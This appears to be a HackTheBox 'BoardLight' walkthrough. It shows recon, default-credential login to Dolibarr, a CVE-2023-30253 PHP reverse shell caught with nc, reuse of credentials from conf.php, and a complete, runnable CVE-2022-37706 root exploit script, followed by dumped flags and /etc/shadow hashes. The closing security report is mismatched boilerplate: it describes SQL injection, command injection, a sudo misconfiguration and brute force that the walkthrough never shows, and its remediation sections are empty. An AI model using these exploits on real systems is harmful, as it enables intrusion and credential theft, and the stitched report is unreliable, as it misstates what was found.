🔖 Techniques & Vulnerabilities
🔍 Reconnaissance / Port Scanning
┌──(kali㉿kali)-[~] └─$ sudo nmap -sC -sV 10.129.10.166 [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 15:01 EDT Nmap scan report for 10.129.10.166 Host is up (0.017s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA) | 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA) |_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds
🎯 Attack Surface Analysis
| Port | Service | Version / Banner |
|---|---|---|
| 22/tcp | ssh | OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http | Apache httpd 2.4.41 ((Ubuntu)) |
- Credential brute-force and password spraying
- Username enumeration via timing side-channel in older OpenSSH versions
- Weak or reused private key material granting unauthorised access
- Version-specific CVE research based on banner fingerprint
- Lateral movement using credentials discovered from other services
- Content and directory discovery — hidden files, backup archives, development endpoints
- CMS/framework fingerprinting enables targeted CVE research (WordPress, Joomla, Drupal)
- SQL injection — database extraction, authentication bypass, or OS command execution
- Command injection — OS execution via unsanitised parameter handling
- Server-Side Template Injection (SSTI) — code execution through template engine abuse
- Local File Inclusion (LFI) and path traversal — sensitive file disclosure
- Server-Side Request Forgery (SSRF) — pivot to internal services and cloud metadata
- File upload abuse — filter bypass for webshell placement
- XML External Entity injection (XXE) in XML-consuming endpoints
- Authentication and session weaknesses — weak passwords, predictable tokens
📖 Walkthrough
Reconnaissance
Port Scanning
We started with a normal Nmap and found nothing unusual besides port 80/TCP.
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.129.10.166
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 15:01 EDT
Nmap scan report for 10.129.10.166
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds
Enumeration of Port 80/TCP
The website didn't showed anything useful at first glance.
┌──(kali㉿kali)-[~]
└─$ whatweb http://10.129.10.166/
http://10.129.10.166/ [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.10.166], JQuery[3.4.1], Script[text/javascript], X-UA-Compatible[IE=edge]

But on the bottom of the website we found an email address pointing to board.htb which we added to our /etc/hosts file.
| [email protected] |
┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.129.10.166 board.htb
Subdomain Enumeration
We started enumerating for subdomain and found crm.board.htb which we also added to our hosts file.
┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.board.htb" -u http://board.htb --fs 15949
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://board.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.board.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 15949
________________________________________________
crm [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 47ms]
<--- CUT FOR BREVITY --->
┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.129.10.166 board.htb
10.129.10.166 crm.board.htb
Dolibarr CRM
The subdomain greeted us with a login page to Dolibarr CRM.

We were able to login by using default credentials.
| Username | Password |
|---|---|
| admin | admin |
Foothold
CVE-2023-30253 Dolibarr PHP Code Injection
The CRM ran in version 17.0.0 which was vulnerable to CVE-2023-30253. This vulnerability allowed us to execute arbitrary PHP code on a newly created website.
- https://www.swascan.com/security-advisory-dolibarr-17-0-0/
- https://github.com/ivan-sincek/php-reverse-shell
We followed the steps in the article to created a new website.






For the payload we had to change <php to <PHP in capital letters to get executed.
┌──(kali㉿kali)-[/media/…/HTB/Machines/BoardLight/files]
└─$ cat php_reverse_shell.php
<?PHP
<--- CUT FOR BREVITY --->

After saving our payload we clicked on Show dynamic content to trigger it and to get a reverse shell as www-data.

Show dynamic content[](http://crm.board.htb/website/index.php?website=foobar&pageid=2&action=setshowsubcontainers&token=ddc9c10da9bdba3d6f11393dbdb81571)
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.44] from (UNKNOWN) [10.129.10.166] 58112
SOCKET: Shell has connected! PID: 1396
Stabilizing Shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ ^Z
zsh: suspended nc -lnvp 9001
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg
[1] + continued nc -lnvp 9001
www-data@boardlight:~/html/crm.board.htb/htdocs/website$
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ export XTERM=xterm
www-data@boardlight:~/html/crm.board.htb/htdocs/website$
Enumeration
As www-data we performed basic enumeration and found a new user called larissa.
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:126:131:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:127:134:MySQL Server,,,:/nonexistent:/bin/false
fwupd-refresh:x:128:135:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
sshd:x:129:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
Privilege Escalation to larissa
By having a closer look on the conf directory we found database credentials inside conf.php.
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ ls -la
total 56
drwxr-xr-x 2 www-data www-data 4096 May 17 00:18 .
drwxr-xr-x 79 www-data www-data 4096 Mar 4 2023 ..
-rw-r--r-- 1 www-data www-data 31 Mar 4 2023 .htaccess
-rw-r--r-- 1 www-data www-data 1736 May 17 00:18 conf.php
-rw-r--r-- 1 www-data www-data 16394 Mar 4 2023 conf.php.example
-r-------- 1 www-data www-data 16394 May 13 13:20 conf.php.old
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';
//$dolibarr_main_demo='autologin,autopass';
// Security settings
$dolibarr_main_prod='0';
$dolibarr_main_force_https='0';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_nocsrfcheck='0';
$dolibarr_main_instance_unique_id='ef9a8f59524328e3c36894a9ff0562b5';
$dolibarr_mailing_limit_sendbyweb='0';
$dolibarr_mailing_limit_sendbycli='0';
//$dolibarr_lib_FPDF_PATH='';
//$dolibarr_lib_TCPDF_PATH='';
//$dolibarr_lib_FPDI_PATH='';
//$dolibarr_lib_TCPDI_PATH='';
//$dolibarr_lib_GEOIP_PATH='';
//$dolibarr_lib_NUSOAP_PATH='';
//$dolibarr_lib_ODTPHP_PATH='';
//$dolibarr_lib_ODTPHP_PATHTOPCLZIP='';
//$dolibarr_js_CKEDITOR='';
//$dolibarr_js_JQUERY='';
//$dolibarr_js_JQUERY_UI='';
//$dolibarr_font_DOL_DEFAULT_TTF='';
//$dolibarr_font_DOL_DEFAULT_TTF_BOLD='';
$dolibarr_main_distrib='standard';
We re-used these credentials for the user larissa to SSH into the box and to grab the user.txt.
| Username | Password |
|---|---|
| dolibarrowner | serverfun2$2023!! |
┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
The authenticity of host 'board.htb (10.129.10.166)' can't be established.
ED25519 key fingerprint is SHA256:xngtcDPqg6MrK72I6lSp/cKgP2kwzG6rx2rlahvu/v0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'board.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
larissa@boardlight:~$
user.txt
larissa@boardlight:~$ cat user.txt
9d5265f81addc39308f9c55bad387c35
Pivoting
Unfortunately larissa was not able to execute sudo commands on the host but while we searched for interesting binaries owned by root, we found usual files called enlightenment* and in particular enlightenmentsys.
larissa@boardlight:~$ id
uid=1000(larissa) gid=1000(larissa) groups=1000(larissa),4(adm)
larissa@boardlight:~$ sudo -l
[sudo] password for larissa:
Sorry, user larissa may not run sudo on localhost.
larissa@boardlight:~$ find / -perm -4000 2>/dev/null | xargs ls -la
-rwsr-xr-x 1 root root 85064 Feb 6 04:49 /usr/bin/chfn
-rwsr-xr-x 1 root root 53040 Feb 6 04:49 /usr/bin/chsh
-rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 88464 Feb 6 04:49 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 55528 Apr 9 08:34 /usr/bin/mount
-rwsr-xr-x 1 root root 44784 Feb 6 04:49 /usr/bin/newgrp
-rwsr-xr-x 1 root root 68208 Feb 6 04:49 /usr/bin/passwd
-rwsr-xr-x 1 root root 67816 Apr 9 08:34 /usr/bin/su
-rwsr-xr-x 1 root root 166056 Apr 4 2023 /usr/bin/sudo
-rwsr-xr-x 1 root root 39144 Apr 9 08:34 /usr/bin/umount
-rwsr-xr-x 1 root root 14728 Oct 27 2023 /usr/bin/vmware-user-suid-wrapper
-rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 477672 Jan 2 09:13 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 14648 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
-rwsr-xr-x 1 root root 14648 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
-rwsr-xr-x 1 root root 14648 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
-rwsr-xr-x 1 root root 26944 Jan 29 2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
-rwsr-sr-x 1 root root 14488 Apr 8 18:36 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-- 1 root dip 395144 Jul 23 2020 /usr/sbin/pppd
Privilege Escalation to root
A quick search on google showed a Local Privilege Escalation (LPE) exploit known as CVE-2022-37706 which used exactly the binary enlightenment_sys.
┌──(kali㉿kali)-[/media/…/HTB/Machines/BoardLight/serve]
└─$ cat exploit.sh
#!/bin/bash
echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
echo "[-] Couldn't find the vulnerable SUID file..."
echo "[*] Enlightenment should be installed on your system."
exit 1
fi
echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Enjoy the root shell :)"
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
We moved the exploit code to the box, made it executable and fired it up.
larissa@boardlight:~$ chmod +x exploit.sh
larissa@boardlight:~$ ./exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
#
root.txt
# cat /root/root.txt
316437795de5bf4e758e2f479bb59412
Post Exploitation
# cat /etc/shadow
root:$6$h9/xKUsFWX90kjQc$qcBeHXPiRHqbF0NgNxhPiZzYS1DiH4UnQc2kcshKtYEDPbjDe3E5qihEbapIJk8fAxRaj3T7EGReRQYiFIBHO1:19845:0:99999:7:::
daemon:*:18858:0:99999:7:::
bin:*:18858:0:99999:7:::
sys:*:18858:0:99999:7:::
sync:*:18858:0:99999:7:::
games:*:18858:0:99999:7:::
man:*:18858:0:99999:7:::
lp:*:18858:0:99999:7:::
mail:*:18858:0:99999:7:::
news:*:18858:0:99999:7:::
uucp:*:18858:0:99999:7:::
proxy:*:18858:0:99999:7:::
www-data:*:18858:0:99999:7:::
backup:*:18858:0:99999:7:::
list:*:18858:0:99999:7:::
irc:*:18858:0:99999:7:::
gnats:*:18858:0:99999:7:::
nobody:*:18858:0:99999:7:::
systemd-network:*:18858:0:99999:7:::
systemd-resolve:*:18858:0:99999:7:::
systemd-timesync:*:18858:0:99999:7:::
messagebus:*:18858:0:99999:7:::
syslog:*:18858:0:99999:7:::
_apt:*:18858:0:99999:7:::
tss:*:18858:0:99999:7:::
uuidd:*:18858:0:99999:7:::
tcpdump:*:18858:0:99999:7:::
avahi-autoipd:*:18858:0:99999:7:::
usbmux:*:18858:0:99999:7:::
dnsmasq:*:18858:0:99999:7:::
cups-pk-helper:*:18858:0:99999:7:::
speech-dispatcher:!:18858:0:99999:7:::
avahi:*:18858:0:99999:7:::
kernoops:*:18858:0:99999:7:::
saned:*:18858:0:99999:7:::
hplip:*:18858:0:99999:7:::
whoopsie:*:18858:0:99999:7:::
colord:*:18858:0:99999:7:::
geoclue:*:18858:0:99999:7:::
pulse:*:18858:0:99999:7:::
gdm:*:18858:0:99999:7:::
sssd:*:18858:0:99999:7:::
larissa:$6$zNTCKunWYdACDiCg$m1Ci3x/AkPAUZM/YzNIXd7Ou89u/hMPPRAboFhbbevXu30s2PNtXcUvO3K1IwKIyxh.UKsonvBxKzDkedo7cw0:19860:0:99999:7:::
systemd-coredump:!!:19617::::::
mysql:!:19617:0:99999:7:::
fwupd-refresh:*:19617:0:99999:7:::
sshd:*:19845:0:99999:7:::
_laurel:!:19860::::::
📋 Security Assessment Report
Description
During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.
Impact
An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.
Remediation
Description
During the penetration test, it was discovered that the application incorporated user-supplied input directly into database queries without parameterisation. SQL injection was identified in authentication and data retrieval endpoints, allowing an attacker to manipulate query structure, extract unauthorised data, and bypass access controls entirely.
Impact
An attacker can extract the complete database contents — including usernames, password hashes, session tokens, and sensitive user records — without valid credentials. Authentication mechanisms can be bypassed by injecting always-true conditions. In environments where the database account holds elevated permissions, OS-level command execution is achievable through built-in procedures (xp_cmdshell, UDF), escalating directly to full server compromise as was demonstrated in this engagement.
Remediation
Description
During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.
Impact
An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.
Remediation
Description
During the penetration test, it was discovered that one or more non-standard binaries were found with the SUID bit set, causing them to execute as root regardless of which user invokes them. The identified binaries are documented in the GTFOBins database and can be abused through shell escape techniques or file operation abuse to read privileged files or spawn an interactive root shell.
Impact
Any user with shell access to the host can leverage the SUID binary to escalate privileges to root without requiring additional credentials or exploiting any further software vulnerability. During this engagement, the SUID binary was used to obtain an interactive root shell within moments of obtaining the initial low-privilege access, granting complete control over the host and access to all stored credentials and data.
Remediation
Description
During the penetration test, it was discovered that the authentication endpoint was found to have no rate limiting, account lockout policy, or CAPTCHA protection. Repeated authentication requests using a dictionary of commonly used passwords were submitted against discovered usernames without restriction, and valid credentials were recovered and used to obtain authenticated access to the application.
Impact
An attacker can perform unlimited automated credential guessing against all discovered usernames until valid credentials are found — with no restriction, lockout, or detection. In this engagement, valid credentials were recovered through dictionary attack, providing authenticated application access that was the pivotal stepping stone toward full server compromise. Reused passwords across services further amplified the impact of each recovered credential.